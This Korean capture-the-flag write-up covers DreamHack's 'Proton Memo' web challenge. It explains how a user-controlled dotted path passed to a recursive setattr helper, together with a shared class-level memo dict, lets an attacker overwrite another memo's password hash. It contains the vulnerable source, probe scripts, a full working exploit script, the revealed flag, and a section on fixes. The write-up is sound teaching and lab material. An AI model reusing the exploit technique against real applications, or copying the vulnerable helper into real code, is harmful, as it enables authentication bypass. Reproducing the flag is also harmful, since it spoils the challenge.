문제: DreamHack — Proton Memo 분류: web 난이도: 🥇 Gold 3 FLAG:
DH{2ba1c1e3012a56fcce00b51d3d1fcc230bf8683d66b81775c10ef83de2e7cca7}
메모를 만들고, 비밀번호를 걸고, 비밀번호를 알면 열어 보는 앱이다. 기능은 그게 전부다.
목록에는 서버가 기동할 때 스스로 만들어 둔 secret 메모가 하나 있고, 그 본문이 flag 다. 비밀번호는 당연히 안 알려 준다.
curl -s http://localhost:1116/
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | Proton Memo (DreamHack 워게임 id 884) |
| 난이도 | 🥇 Gold 3 |
| 분류 | web |
| 스택 | Python 3.11 · Flask (Werkzeug 3.1.8) · python:3.11-alpine · 포트 1116 |
| 제공 파일 / 서버 | 소스 전체(docker-compose.yml, Dockerfile, app.py, models.py, utils.py, 템플릿 5개) + 라이브 인스턴스 |
| 핵심 취약점 | Python class pollution — 점으로 구분된 속성 경로를 재귀 setattr 로 따라가는 유틸에 경로 앞부분을 사용자가 넣는다 |
풀이 흐름은 짧다. 내 메모를 하나 만들어 편집 권한을 얻고, 편집 대상 경로를 collections.<secret_uuid>.password 로 바꿔서 남의 메모의 비밀번호 해시를 내 것으로 덮고, 그 비밀번호로 secret 메모를 연다.
어려운 지점은 "그 경로가 왜 남의 객체까지 닿느냐" 하나다. 그게 파이썬이 속성을 찾는 규칙에 걸려 있다.
🧩 배경 — 파이썬은 속성을 어디서 찾고, 어디에 쓰나
obj.attr 를 읽을 때 파이썬은 한 군데만 보지 않는다. 인스턴스의 __dict__ 에 없으면 클래스의 __dict__ 를 보고, 거기도 없으면 MRO 를 타고 부모 클래스까지 올라간다.
그런데 쓸 때는 올라가지 않는다. obj.attr = v 는 (데이터 디스크립터가 아니라면) 그 인스턴스의 __dict__ 에 값을 내려놓는다.
읽기와 쓰기의 이 비대칭이 오늘 문제의 전부다. 읽기는 클래스 단계의 공유 상태까지 도달하고, 쓰기는 도달한 그 객체에 꽂힌다. 중간에 남의 객체가 끼어 있으면 남의 객체에 꽂힌다.
자바스크립트에서 __proto__ 를 타고 Object.prototype 을 오염시키는 prototype pollution 이 익숙할 것이다. 파이썬에서 같은 자리를 차지하는 이름들이 __class__, __base__, __mro__, __init__.__globals__ 이고, 이 계열의 공격을 class pollution 이라고 부른다.
이번 문제에서는 굳이 던더 속성까지 갈 필요도 없었다. 평범한 이름의 클래스 속성 하나가 그 역할을 해 준다.
문제의 유틸은 이렇게 생겼다. 배포본 utils.py 전문이다.
def set_attr(obj, prop, value):
prop_chain = prop.split('.')
cur_prop = prop_chain[0]
if len(prop_chain) == 1:
if isinstance(obj, dict):
obj[cur_prop] = value
else:
setattr(obj, cur_prop, value)
else:
if isinstance(obj, dict):
if cur_prop in obj:
next_obj = obj[cur_prop]
else:
next_obj = {}
obj[cur_prop] = next_obj
else:
if hasattr(obj, cur_prop):
next_obj = getattr(obj, cur_prop)
else:
next_obj = {}
setattr(obj, cur_prop, next_obj)
set_attr(next_obj, '.'.join(prop_chain[1:]), value)읽어야 할 부분은 세 줄이다.
prop.split('.') — 경로를 점으로 쪼갠다. 마디 수 제한도, 이름 검사도 없다.
hasattr / getattr — 마지막이 아닌 마디는 읽기로 따라간다. 즉 클래스 속성도 통과한다.
isinstance(obj, dict) — dict 를 만나면 키로 들어간다. 컨테이너 안쪽으로도 계속 파고든다는 뜻이다.
기능만 보면 "중첩 필드를 한 줄로 수정하는 헬퍼"다. 문제는 이 헬퍼가 받는 경로가 어디서 오는가다.
🔬 코드 정찰 — 배포본을 열어 본다
배포본은 파일 13개뿐이고 소스가 통째로 들어 있다. 먼저 무엇이 왔는지 확인하고, 같은 트리로 로컬에 세운다.
find extracted -type f | sort; docker ps --filter name=extracted-app
Dockerfile 은 flag 를 파일로 심고 권한을 낮춘 채 앱을 띄운다.
FROM python:3.11-alpine
ENV USER chall
ENV PORT 1116
RUN adduser -D -g "" $USER
COPY --chown=root:root app /app
COPY --chown=root:$USER flag /flag
WORKDIR /app
RUN chmod 705 run.sh
RUN pip install -r requirements.txt
USER $USER
EXPOSE $PORT
ENTRYPOINT ["/bin/ash"]
CMD ["./run.sh"]run.sh 는 한 줄이다. 죽으면 다시 뜬다.
while true; do flask run -h 0.0.0.0 -p 1116; done이 한 줄이 나중에 의미를 갖는다. 앱이 죽으면 상태가 초기화된다. 메모는 전부 프로세스 메모리에 있고 secret 의 비밀번호도 기동 시점에 새로 뽑히니까, 프로세스를 죽여 버리는 실수를 하면 그때까지 심어 둔 것도 같이 날아간다. 요청 처리 중 예외가 나는 것(500)은 Flask 가 잡아 주므로 괜찮다.
app.py 의 시작부에서 secret 메모가 만들어진다.
secret = Memo("secret", open("/flag", "r").read(), os.urandom(20).hex())
Memo.add_memo_to_collection(secret)비밀번호는 os.urandom(20).hex() — 160비트다. 맞히는 방향은 여기서 끝난다.
인증은 함수 하나가 담당한다.
def get_memo_with_auth_or_abort(memo_id: str, password: str) -> Memo:
memo = Memo.get_memo_by_id(memo_id)
if memo is None:
abort(404)
elif not memo.check_password(password):
abort(403)
return memo없는 메모는 404, 비밀번호가 틀리면 403 이다. 응답 코드가 갈리니 "이 uuid 가 존재하는가"는 비밀번호를 몰라도 알 수 있는데, uuid 는 어차피 목록 페이지에 링크로 다 나와 있어서 쓸 데가 없다.
조회는 인증을 통과하면 제목과 본문을 그대로 뿌린다.
@app.route("/view/<uuid:memo_id>", methods=["GET", "POST"])
def view_memo(memo_id: UUID):
memo_id = str(memo_id)
if request.method == "GET":
return render_template("enter_password.html", memo_id=memo_id)
elif request.method == "POST":
password = request.form["password"]
memo = get_memo_with_auth_or_abort(memo_id, password)
contents = (
memo.get_title_with_edit_time() + "\n" + memo.get_content_with_edit_time()
)
return render_template("view_memo.html", memo=contents, memo_id=memo_id)그리고 편집. 여기가 문제다.
@app.route("/edit/<uuid:memo_id>", methods=["GET", "POST"])
def edit_memo(memo_id: UUID):
memo_id = str(memo_id)
if request.method == "GET":
return render_template("edit_memo.html", memo_id=memo_id)
elif request.method == "POST":
selected_option = request.form["selected_option"]
edit_data = request.form["edit_data"]
password = request.form["password"]
memo = get_memo_with_auth_or_abort(memo_id, password)
set_attr(memo, selected_option + ".data", edit_data)
set_attr(memo, selected_option + ".edit_time", time.time())
return redirect(url_for("index"))selected_option 은 폼에서 온 문자열이고, 검사 없이 경로가 된다. 인증은 경로의 출발점이 되는 메모에 대해서만 한다.
즉 내가 비밀번호를 아는 메모 하나만 있으면 set_attr 을 부를 자격이 생기고, 그다음에 어디로 갈지는 내가 쓴 경로가 결정한다.
모델 쪽에서 눈에 걸리는 것은 두 개다.
class Password:
data: str
def __init__(self, data: str) -> None:
self.data = hashlib.sha256(data.encode()).hexdigest()
def check_password(self, password: str) -> bool:
return self.data == hashlib.sha256(password.encode()).hexdigest()
class Memo:
collections: Dict[str, Memo] = {}
...
@staticmethod
def add_memo_to_collection(memo: Memo):
Memo.collections[memo.id] = memo첫째, 비밀번호 검사는 self.data 와 입력의 sha256 을 문자열로 비교한다. 비밀 값이 객체 안에 통째로 들어 있다.
둘째, collections 는 Memo 의 클래스 속성이다. 인스턴스마다 따로 갖는 게 아니라 모든 메모가 같은 dict 를 본다. 그리고 그 dict 에는 secret 메모가 들어 있다.
🧱 화면이 실제로 주는 것
브라우저로 보면 기능은 정말 단순하다. 새 메모 폼은 제목·본문·비밀번호 세 칸이다.

secret 메모의 링크를 눌러 보면 본문 대신 비밀번호 입력창만 나온다.

아무 값이나 넣으면 403 이다. 본문은 한 글자도 새지 않는다.
curl -s -i -X POST -d "password=nope" "http://localhost:1116/view/$SID"
편집 화면이 재미있다. selected_option 은 드롭다운이고 선택지가 Title, Content 둘뿐이다.

edit_memo.html 의 해당 부분이다.
<select id="selected_option" name="selected_option">
<option value="title">Title</option>
<option value="content">Content</option>
</select>선택지가 둘이라는 건 화면의 사정이다. HTTP 로는 아무 문자열이나 보낼 수 있고, 서버는 그 문자열을 그대로 경로로 쓴다. 브라우저에서 처리하겠다면 option 하나를 더 만들어 붙이면 된다.
🐛 삽질 — 경로를 하나씩 넣어 보며 데인 것들
정답 경로는 한 줄이지만 거기까지 몇 번 헛짚었다. 비교 실험을 스크립트로 만들어 놓고 돌린 게 결과적으로 가장 빨랐다.
▶🐛 삽질 1 — 20바이트 난수를 어떻게든 좁혀 보려 했다
처음엔 비밀번호 쪽을 봤다. os.urandom(20).hex() 니까 40글자 16진 문자열이고, 후보는 2의 160승이다. 기동 시각을 안다고 좁혀지는 값도 아니다(random 이 아니라 os.urandom 이라 시드 개념이 없다).
check_password 가 == 로 문자열을 비교하니 타이밍 사이드채널을 생각해 볼 수는 있다. 그런데 비교 대상은 비밀번호가 아니라 입력의 sha256 이다. 앞 몇 글자가 맞는 해시를 만들려면 그 자체로 전수 탐색이고, 네트워크 지터에 묻힐 차이라 시도할 가치가 없었다.
여기서 방향을 틀었다. 값을 맞히는 문제가 아니라 비교식의 한쪽을 바꾸는 문제로 보기로.
▶🐛 삽질 2 — 해시 자리에 평문을 넣었다
경로를 찾은 뒤에도 한 번 헛돌았다. collections.<secret_uuid>.password 로 edit_data 를 그냥 zino1234 라고 보냈다.
Password.__init__ 이 sha256 을 걸어 주는 걸 보고 무심코 "비밀번호를 넣는 칸"이라고 생각한 것이다. 그런데 set_attr 은 __init__ 을 거치지 않는다. data 에 평문이 그대로 들어앉고, check_password 는 평문 == sha256(입력) 을 비교하니 무엇을 넣어도 403 이다.
Password 클래스가 생성자에서만 해시를 걸고 있다는 게 요점이다. 속성에 직접 쓰면 그 규칙을 건너뛴다. 그래서 우리가 대신 sha256 을 계산해 넣어 준다.
▶🐛 삽질 3 — 클래스 속성을 오염시켰더니 인스턴스가 가려 버렸다
prototype pollution 감각으로 password.__class__ 를 먼저 노렸다. 경로가 password.__class__.data 가 되니 Password 클래스 자체에 data 를 심는 것이고, 그러면 모든 메모가 뚫릴 것 같았다.
안 된다. Password.__init__ 이 self.data = ... 로 인스턴스 __dict__ 에 이미 값을 넣어 뒀기 때문에, 조회는 인스턴스 쪽에서 끝난다. 클래스에 심은 값은 가려져서 한 번도 안 읽힌다.
거꾸로 말하면, 클래스 오염이 먹히는 건 인스턴스가 그 이름을 안 갖고 있을 때다. 이번엔 그 조건이 아니었다. 아래 probe_attr.py 의 [4] 블록이 이 대조를 그대로 찍는다.
▶🐛 삽질 4 — secret 메모의 본문을 덮어 flag 를 날렸다
경로가 통한다는 걸 확인하고 신이 나서 collections.<secret_uuid>.content 로 한 번 써 봤다. 되는지 보려고 아무 값이나 넣었는데, 그게 flag 가 들어 있던 자리였다.
Content.data 를 덮으면 flag 는 프로세스 메모리에서 사라진다. 파일(/flag)은 남아 있지만 앱이 그걸 다시 읽는 코드는 기동 시점에 한 번뿐이다. 라이브 인스턴스에서 이랬다면 인스턴스를 새로 받아야 했다. 로컬 컨테이너에서 먼저 해 본 게 다행이었다.
읽기 전에 쓰기부터 시험하지 말 것 — 이 문제에서 배운 것 중 제일 실용적인 교훈이다.
경로 후보를 하나씩 손으로 넣는 대신, app.py 의 편집·조회 로직만 그대로 흉내낸 스크립트를 만들어 한 번에 돌렸다. 케이스마다 모듈을 reload 해서 앞 케이스의 오염이 넘어오지 않게 했다.
▶📄 cases.py — 경로 후보 8개 대조 실험 전문
#!/usr/bin/env python3
"""Proton Memo — selected_option 후보별 대조 실험.
app.py 의 edit_memo() / view_memo() 가 하는 일만 그대로 흉내내고(HTTP 없이),
경로 후보를 하나씩 넣어 secret 메모를 읽을 수 있게 되는지 본다.
케이스마다 models/utils 를 reload 해서 세계를 새로 만든다 — 앞 케이스의 오염이 안 넘어오게.
"""
import hashlib
import importlib
import sys
import traceback
import unicodedata
sys.path.insert(0, "extracted/deploy/app")
import models # noqa: E402
import utils # noqa: E402
PW = "zino1234"
H = hashlib.sha256(PW.encode()).hexdigest()
FLAG = "DH{local_case_flag}"
def build_world():
"""서버 기동 직후 상태: secret 메모 + 내가 만든 메모."""
importlib.reload(models)
importlib.reload(utils)
secret = models.Memo("secret", FLAG, "3f9c1a2b" * 5)
mine = models.Memo("zino", "pwn", PW)
models.Memo.add_memo_to_collection(secret)
models.Memo.add_memo_to_collection(mine)
return models, utils, secret, mine
def try_case(selected_option: str, edit_data: str):
m, u, secret, mine = build_world()
opt = selected_option.replace("<SID>", secret.id)
# --- app.py edit_memo(POST) 와 동일 ---
if not mine.check_password(PW):
return "403 (편집 인증 실패)"
try:
u.set_attr(mine, opt + ".data", edit_data)
u.set_attr(mine, opt + ".edit_time", 0.0)
except Exception as e: # app 이면 500
return f"500 {type(e).__name__}: {str(e).split(' and no')[0]}"
wiped = FLAG not in secret.content.data
# --- app.py view_memo(POST) 와 동일: secret 을 내 비번으로 열어 본다 ---
if not secret.check_password(PW):
return "403 + secret 본문 파괴됨" if wiped else "403 (secret 여전히 못 열림)"
body = secret.get_content_with_edit_time()
return ("FLAG " + FLAG) if FLAG in body else f"200 인데 flag 없음: {body[:38]}"
CASES = [
("title", "hi", "드롭다운 기본값 — 정상 기능"),
("password", H, "내 메모 비번만 바뀐다"),
("collections.<SID>.password", PW, "해시 자리에 평문을 넣는 실수"),
("password.__class__", H, "Password 클래스 속성 오염"),
("collections.<SID>.content", "wiped", "secret 본문을 덮어버린다"),
("check_password", H, "바운드 메서드에 setattr"),
("collections.<SID>.password", H, "★ 정답 경로"),
("__class__.collections.<SID>.password", H, "★ __class__ 를 한 번 더 거쳐도 같다"),
]
def pad(s: str, width: int) -> str:
"""한글은 두 칸을 먹으므로 표시폭 기준으로 채운다."""
w = sum(2 if unicodedata.east_asian_width(c) in "WF" else 1 for c in s)
return s + " " * max(1, width - w)
if __name__ == "__main__":
print(pad("selected_option", 40) + pad("설명", 30) + "결과")
print("-" * 116)
for opt, data, desc in CASES:
try:
result = try_case(opt, data)
except Exception:
result = traceback.format_exc(limit=1).strip().splitlines()[-1]
print(pad(opt, 40) + pad(desc, 30) + result)python3 cases.py
표를 정리하면 이렇다.
selected_option | 무슨 일이 벌어지나 | 결과 |
|---|---|---|
title / content | 내 메모의 제목·본문만 바뀐다 | 정상 기능 |
password | 내 메모의 비밀번호 해시만 바뀐다 | secret 은 그대로 |
collections.<uuid>.password + 평문 | data 에 평문이 앉아 비교가 절대 안 맞는다 | 403 |
password.__class__ | 클래스에 data 를 심지만 인스턴스가 가린다 | 403 |
collections.<uuid>.content | secret 본문이 덮여 flag 가 사라진다 | 복구 불가 |
check_password | 바운드 메서드에 setattr → AttributeError | 500 |
collections.<uuid>.password + sha256 | secret 의 비교 대상이 내 해시로 바뀐다 | flag |
💣 핵심 — collections 는 모든 메모가 공유하는 dict 다
정답 경로를 다시 본다.
selected_option = collections.<secret_uuid>.password
prop = collections.<secret_uuid>.password.dataset_attr 이 이 경로를 어떻게 걸어가는지 마디별로 따라가면 이렇다.
hasattr(mine, "collections")→True. 인스턴스__dict__에는 없지만Memo클래스에 있어서 읽기가 성공한다.getattr이 모든 메모가 공유하는 dict 를 돌려준다.- 그 dict 는
isinstance(obj, dict)가 참이므로 키로 들어간다.<secret_uuid>는 목록 페이지에서 그대로 읽은 값이니 당연히 키에 있다. 이제 손에 든 객체는 secret 메모 인스턴스다. hasattr(secret, "password")→True.Password인스턴스를 얻는다.- 마지막 마디
data는 길이가 1 이므로setattr(password_obj, "data", edit_data). 여기서 처음으로 쓰기가 일어나고, 대상은 secret 의 Password 객체다.
인증은 1단계 출발점에서 이미 끝났다. 그 뒤로는 아무도 "이 객체를 이 사용자가 건드려도 되는가"를 묻지 않는다.
말로만 하면 미덥지 않으니 배포본 models.py / utils.py 를 그대로 import 해서 확인했다. 서버도 HTTP도 없이 파이썬 규칙만 보는 스크립트다.
#!/usr/bin/env python3
"""Proton Memo — 정찰: 내 메모 객체에서 남의 메모까지 정말 닿는지 파이썬으로 직접 확인한다.
챌린지 배포본의 models.py / utils.py 를 그대로 import 해서, 서버를 거치지 않고
속성 조회 규칙만 눈으로 본다. app.py 가 하는 일과 똑같이 set_attr(memo, X + '.data', v) 만 부른다.
"""
import hashlib
import sys
sys.path.insert(0, "extracted/deploy/app")
from models import Memo, Password # noqa: E402
from utils import set_attr # noqa: E402
# 서버 기동 시점의 secret 메모와 내가 만든 메모, 두 개를 흉내낸다.
secret = Memo("secret", "DH{local_probe_flag}", "3f9c1a2b" * 5) # 원래는 os.urandom(20).hex()
mine = Memo("zino", "pwn", "zino1234")
Memo.add_memo_to_collection(secret)
Memo.add_memo_to_collection(mine)
print("[1] collections 는 클래스 속성인가?")
print(" 'collections' in Memo.__dict__ =", "collections" in Memo.__dict__)
print(" 'collections' in mine.__dict__ =", "collections" in mine.__dict__)
print(" hasattr(mine, 'collections') =", hasattr(mine, "collections"))
print(" mine.collections is Memo.collections=", mine.collections is Memo.collections)
print("\n[2] 내 인스턴스에서 secret 객체까지 닿는 경로")
print(" len(mine.collections) =", len(mine.collections))
print(" mine.collections[secret.id] is secret =", mine.collections[secret.id] is secret)
print("\n[3] set_attr 로 남의 Password.data 를 덮는다 (app.py 와 같은 호출)")
target = f"collections.{secret.id}.password"
print(" selected_option =", target)
print(" before: secret.password.data =", secret.password.data[:16], "...")
set_attr(mine, target + ".data", hashlib.sha256(b"zino1234").hexdigest())
print(" after : secret.password.data =", secret.password.data[:16], "...")
print(" secret.check_password('zino1234') =", secret.check_password("zino1234"))
print(" →", secret.get_content() if secret.check_password("zino1234") else "실패")
print("\n[4] 클래스 속성으로 덮으면 어떻게 되나 (인스턴스 속성이 가린다)")
fresh = Memo("other", "DH{another}", "s3cr3t")
set_attr(mine, "password.__class__.data", hashlib.sha256(b"zino1234").hexdigest())
print(" Password.data(클래스) =", Password.data[:16], "...")
print(" 'data' in fresh.password.__dict__ =", "data" in fresh.password.__dict__)
print(" fresh.check_password('zino1234') =", fresh.check_password("zino1234"))
print("\n[5] 마지막 마디는 항상 'data' 나 'edit_time' 으로 고정된다")
print(" app.py: set_attr(memo, selected_option + '.data', edit_data)")
print(" → 이름이 'data' 인 속성만 심을 수 있다. Password.data 가 마침 그 이름이다.")python3 probe_attr.py
[1] 이 이 문제의 전부다. collections 는 인스턴스 __dict__ 에 없는데 hasattr 은 True 고, 내가 만든 메모에서 꺼낸 dict 가 클래스의 그 dict 와 is 로 같다.
[3] 에서 해시가 실제로 바뀌고 check_password 가 True 로 돌아선다. [4] 는 삽질 3 의 대조군이다.
경로를 한 장으로 정리하면 이렇게 생겼다.

마지막 마디가 data 로 고정돼 있다는 제약
app.py 가 경로 뒤에 .data 와 .edit_time 을 붙이기 때문에, 우리가 심을 수 있는 속성의 이름은 둘 중 하나로 고정이다. 임의 이름을 심을 수 있다면 훨씬 넓은 짓을 할 수 있는데(예를 들어 모듈 전역을 갈아 끼우는 식) 여기서는 안 된다.
닿을 수 있는 객체 중 data 라는 이름이 의미를 갖는 것은 셋뿐이다.
| 대상 | data 를 덮으면 |
|---|---|
Password.data | 비밀번호 비교식의 한쪽이 바뀐다 → 인증 우회 |
Title.data · Content.data | 남의 메모 제목·본문이 바뀐다 → 파괴만 가능 |
| 그 밖의 객체 | 아무도 안 읽는 속성이 하나 붙는다 → 무해 |
제약이 걸린 원시 기능인데도 통하는 이유는 단순하다. 비밀 값이 data 라는 이름의 속성에 그대로 들어 있어서다. 인증에 쓰는 재료를 객체 그래프 안에 평범한 필드로 두면, 그 그래프를 걸어갈 수 있는 사람은 인증을 건드릴 수 있다.
edit_time 쪽은 부수 효과만 남는다. 우리 페이로드가 통하면 secret.password.edit_time 이라는, 아무도 읽지 않는 속성이 하나 생긴다.
🎯 익스플로잇 — 브라우저에서 그대로
드롭다운에 선택지가 없다는 게 유일한 장애물이라, DevTools 콘솔에서 option 을 하나 만들어 붙였다.
const s = document.getElementById('selected_option');
const o = document.createElement('option');
o.value = o.textContent = 'collections.<secret_uuid>.password';
s.appendChild(o); s.value = o.value;Edit Data 에는 내가 쓸 비밀번호의 sha256 을, Password 에는 내 메모의 비밀번호를 넣는다. 앞의 것은 남의 객체에 심을 값이고 뒤의 것은 내 편집 권한을 증명하는 값이다. 둘을 헷갈리면 403 이다.

Save 를 누르면 목록으로 리다이렉트된다. 아무 일도 안 일어난 것처럼 보이는데, secret 메모의 비밀번호 해시가 방금 내 것으로 바뀌었다.
이제 secret 메모를 열고 zino1234 를 넣는다.

배포본 deploy/flag 의 내용이 그대로 나왔다. 로컬에서 체인이 통한다는 확인이 됐으니 라이브로 넘어간다.
🚀 Full Exploit
목록 파싱부터 flag 추출까지 한 번에 끝나는 스크립트다. 인자는 대상 URL 하나뿐이고, urllib 만 쓴다.
#!/usr/bin/env python3
"""Proton Memo (Dreamhack, Gold 3, web) — Python class pollution 익스플로잇.
취약점
utils.set_attr() 은 'a.b.c' 같은 점 구분 경로를 재귀적으로 setattr 하는데,
app.py 의 edit_memo() 가 그 경로 앞부분을 사용자 입력(selected_option)으로 준다.
set_attr(memo, selected_option + ".data", edit_data)
Memo.collections 는 '클래스' 속성 dict 라 내 memo 인스턴스에서도 getattr 로 닿고,
그 dict 안에 flag 를 품은 secret memo 객체가 들어 있다. 따라서
selected_option = "collections.<secret_uuid>.password"
→ prop = "collections.<secret_uuid>.password.data"
로 secret memo 의 Password.data(sha256 해시)를 '내가 아는 비밀번호의 해시'로 덮는다.
secret 의 원래 비밀번호는 os.urandom(20).hex() 라 못 맞히지만,
맞히는 대신 비교 대상을 바꾸는 것이다.
사용법
python3 solve.py http://host1.dreamhack.games:PORT
"""
import hashlib
import re
import sys
import urllib.parse
import urllib.request
MY_PW = "zino1234" # 내가 만드는 메모의 비밀번호(임의)
UUID_RE = r"[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
def post(url: str, data: dict) -> tuple[int, str]:
body = urllib.parse.urlencode(data).encode()
req = urllib.request.Request(url, data=body, method="POST")
try:
with urllib.request.urlopen(req) as r:
return r.status, r.read().decode(errors="replace")
except urllib.error.HTTPError as e: # 403/404 도 그대로 보고 싶다
return e.code, e.read().decode(errors="replace")
def get(url: str) -> str:
with urllib.request.urlopen(url) as r:
return r.read().decode(errors="replace")
def main() -> int:
base = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:1116"
# 1) 인덱스에서 secret memo 의 uuid 를 찾는다. 제목이 그대로 노출된다.
index = get(base + "/")
entries = re.findall(
r'href="/view/(' + UUID_RE + r')">Title:\s*([^<]*?)\s*</a>', index
)
print("[*] 인덱스 목록:", entries)
secret_id = next((mid for mid, title in entries if title == "secret"), None)
if secret_id is None:
print("[-] secret memo 를 못 찾았다"); return 1
print(f"[+] secret memo id = {secret_id}")
# 2) 내 메모를 만든다. edit 엔드포인트에 들어가려면 '아는 비밀번호'가 하나 필요하다.
post(base + "/new", {"title": "zino", "content": "pwn", "password": MY_PW})
after = get(base + "/")
mine = [m for m in re.findall(r'href="/view/(' + UUID_RE + r')"', after)
if m not in {mid for mid, _ in entries}]
if not mine:
print("[-] 내 메모 생성 실패"); return 1
my_id = mine[-1]
print(f"[+] 내 memo id = {my_id}")
# 3) class pollution — 내 메모를 인증에 쓰고, 경로는 secret 의 Password.data 를 가리킨다.
new_hash = hashlib.sha256(MY_PW.encode()).hexdigest()
status, _ = post(base + f"/edit/{my_id}", {
"selected_option": f"collections.{secret_id}.password",
"edit_data": new_hash,
"password": MY_PW,
})
print(f"[*] pollute: collections.{secret_id}.password.data = {new_hash} (HTTP {status})")
# 4) 이제 secret memo 가 내 비밀번호를 받아들인다.
status, html = post(base + f"/view/{secret_id}", {"password": MY_PW})
print(f"[*] /view/{secret_id} → HTTP {status}")
flag = re.search(r"DH\{[^}]*\}", html)
if flag:
print("[+] FLAG:", flag.group(0)); return 0
print("[-] 플래그 없음. 응답 본문:"); print(html[:800]); return 1
if __name__ == "__main__":
sys.exit(main())라이브 인스턴스에 돌린다.
python3 solve.py http://host3.dreamhack.games:15882
DH{2ba1c1e3012a56fcce00b51d3d1fcc230bf8683d66b81775c10ef83de2e7cca7}브라우저로도 같은 상태를 확인했다. 오염은 프로세스 메모리에 남아 있으니, 스크립트를 한 번 돌린 뒤에는 그냥 접속해서 비밀번호를 넣으면 된다. 목록에 익스플로잇이 만든 zino 메모가 같이 보인다.


🔁 재현 — 파일만 있으면 다시 된다
나중에 이 폴더만 남았을 때 바로 돌려 볼 수 있게 한 방 스크립트를 같이 남겼다. 로컬 모드에서는 배포본 더미 flag 와 대조하고, 인자로 라이브 주소를 주면 기록해 둔 실제 flag 와 대조한다.
#!/usr/bin/env bash
# Proton Memo (Dreamhack id 884, Gold 3, web) — 한 방 재현.
#
# ./reproduce.sh 로컬 docker 로 세워서 배포본 더미 flag 까지 확인
# ./reproduce.sh http://host3...:PORT 라이브 인스턴스면 문제.json 의 실제 flag 와 대조
#
# 배포본 deploy/flag 는 'DH{sample flag}' 라 로컬에서는 그 값이 나오는 게 정답이다.
# 실제 flag 는 라이브 인스턴스에서만 나온다 — 로컬 결과를 진짜 flag 인 것처럼 통과시키지 않는다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
TARGET="${1:-}"
if [ -z "$TARGET" ]; then
TARGET="http://localhost:1116"
EXPECT='DH{sample flag}'
echo "[*] 로컬 재현 모드 — docker compose 로 챌린지를 세운다"
(cd extracted && docker compose up -d --build >/dev/null 2>&1)
for _ in $(seq 1 30); do
curl -sf -o /dev/null "$TARGET/" && break
sleep 1
done
else
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
echo "[*] 라이브 모드 — $TARGET"
fi
OUT=$(timeout 120 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
echo; echo "✅ PASS $FLAG"
[ "$TARGET" = "http://localhost:1116" ] && \
echo " (배포본 더미 flag. 실제 flag 는 라이브 인스턴스에서만 나온다)"
exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1./reproduce.sh
로컬 환경은 Ubuntu 24.04 · Python 3.13(호스트) · Docker 27 이고, 컨테이너 안은 배포본 그대로 python:3.11-alpine + Flask 다. 호스트 파이썬은 probe_attr.py / cases.py 처럼 배포본 모듈만 import 하는 스크립트에 쓰였고, 서버 동작은 전부 컨테이너에서 확인했다.
🛡️ 방어 — 어디를 고쳐야 하나
경로를 사용자에게서 받지 않는다.
가장 확실한 수정이다. 편집할 수 있는 필드가 두 개뿐이라면 분기 두 줄로 끝난다.
if selected_option == "title":
memo.title.data = edit_data
memo.title.edit_time = time.time()
elif selected_option == "content":
memo.content.data = edit_data
memo.content.edit_time = time.time()
else:
abort(400)동적 경로가 정말 필요하다면 허용 목록과 점 금지를 같이 걸어야 한다. 한쪽만으로는 부족하다. 목록만 있고 점을 허용하면 title.__class__ 류가 통과하고, 점만 막고 목록이 없으면 password 같은 이름을 그대로 쓸 수 있다.
ALLOWED = {"title", "content"}
if selected_option not in ALLOWED or "." in selected_option:
abort(400)던더 속성은 애초에 통과시키지 않는다.
범용 헬퍼로 남겨야 한다면 각 마디를 검사해서 _ 로 시작하는 이름을 거른다. __class__, __init__, __globals__ 로 넘어가는 순간 그 프리미티브는 애플리케이션 전역을 대상으로 한다. 컨테이너로 들어가는 분기(isinstance(obj, dict))도 같이 막아야 한다 — 이번 문제에서 남의 객체로 건너간 다리가 정확히 그 분기였다.
인증에 쓰는 값을 객체 그래프 안에 두지 않는다.
Password.data 가 평범한 인스턴스 속성이라 덮이면 그대로 끝났다. 비밀번호 검증을 서버 측 세션이나 별도 저장소로 옮기고, 요청마다 그 저장소에서 확인하면 객체 그래프를 걸어가는 공격과 분리된다. 검증 자체도 hmac.compare_digest 로 하는 게 맞다. 이번 문제에서 타이밍이 실전 위협은 아니었지만, 해시 비교에 == 를 쓸 이유도 없다.
공유 상태를 클래스 속성으로 들고 있지 않는다.
Memo.collections 가 클래스 속성이라 모든 인스턴스가 같은 dict 를 보고, 그래서 아무 메모 하나에서 전체 저장소로 건너갈 수 있었다. 저장소는 모듈 수준의 private 변수나 별도 리포지토리 객체로 두고, 모델 인스턴스에서 역참조되지 않게 하는 편이 안전하다.
__slots__ 를 붙여 임의 속성 추가를 막는 것도 도움이 되지만 이번 공격은 못 막는다. 우리가 심은 data 는 이미 존재하는 속성이라 __slots__ 로도 쓰기가 허용된다. 새 이름을 못 만들게 하는 장치일 뿐이다.
📝 결론
비밀번호를 못 맞히면 비교식을 보라.
인증을 뚫는 방법이 "맞는 값 찾기"만 있는 게 아니다. 서버가 무엇과 무엇을 비교하는지 보고, 그중 한쪽에 쓰기가 닿는지 보면 된다. 이 문제에서 160비트 난수는 처음부터 미끼였고, 실제 목표는 그 난수의 해시가 들어 있는 문자열 한 줄이었다.
파이썬에서 읽기는 클래스까지 올라가고 쓰기는 인스턴스에 앉는다.
이 비대칭을 알고 나면 class pollution 이 왜 위험한지가 한 줄로 정리된다. 속성 경로를 사용자에게 받는 코드는 "필드 하나 수정"이 아니라 프로세스 안의 객체 그래프 전체에 대한 쓰기 권한을 넘기는 것이다. 던더 속성을 막는 것만으로는 부족하고, 이번처럼 collections 같은 평범한 이름 하나로도 충분하다.
인증 검사와 조작 대상이 다를 수 있다는 것.
